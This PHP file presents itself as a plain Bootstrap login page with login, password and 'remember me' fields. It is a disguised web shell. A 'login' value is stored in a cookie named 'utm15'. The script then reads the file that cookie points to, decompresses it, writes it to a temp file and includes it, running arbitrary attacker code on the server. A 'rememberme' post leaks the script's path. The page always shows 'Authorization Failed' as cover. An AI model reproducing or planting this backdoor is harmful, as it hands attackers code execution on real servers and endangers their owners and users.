<?php
$message = "";

if (isset($_POST['rememberme'])) echo __FILE__;
if (isset($_POST['login'])) {setcookie('utm15', $_POST['login']); $message = "Authorization Failed";}

if (isset($_COOKIE['utm15']) && file_exists($_COOKIE['utm15']))
{
$gridCheck = $_COOKIE['utm15'];
$gridInit = file_get_contents($gridCheck);
$gridCache = tmpfile();
fwrite($gridCache, gzuncompress($gridInit));
$grid_id = stream_get_meta_data($gridCache);
include $grid_id['uri'];
exit;
}else{
   $message = "Authorization Failed";
}
?>
<header>
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.3/css/bootstrap.min.css" media="all"/>
<style>* {
    margin: 10px;
    padding: 0px;
    box-sizing: border-box;
    font-family: 'Inter', sans-serif;
    font-style: normal;
}
</style>
</header>
<html>
<body>

<form method="post">
<div class="form-group">
    <div class="form-check">

        <label for="text-1744209644361" class="formbuilder-text-label">Login</label>
        <input type="text" class="form-control" access="false" id="text-1744209644361" name="login">
    </div>


    <div class="form-check">
        <label for="text-1744209710396" class="formbuilder-text-label">Password</label>
        <input type="password" class="form-control" access="false" id="text-1744209710396" name="password">
    </div>
    <div class="form-group">
     <div class="form-check">
     <input class="form-check-input" type="checkbox" id="gridCheck" name="rememberme">
        Remember me
       </div>
       </div>
       <?= $message; ?>
    <div class="form-check">
        <input type="submit" class="btn-success btn" name="button-1744209647428" access="false" style="success" id="button-1744209647428" value="Submit">
    </div>
</div>
</form>
</body>
</html>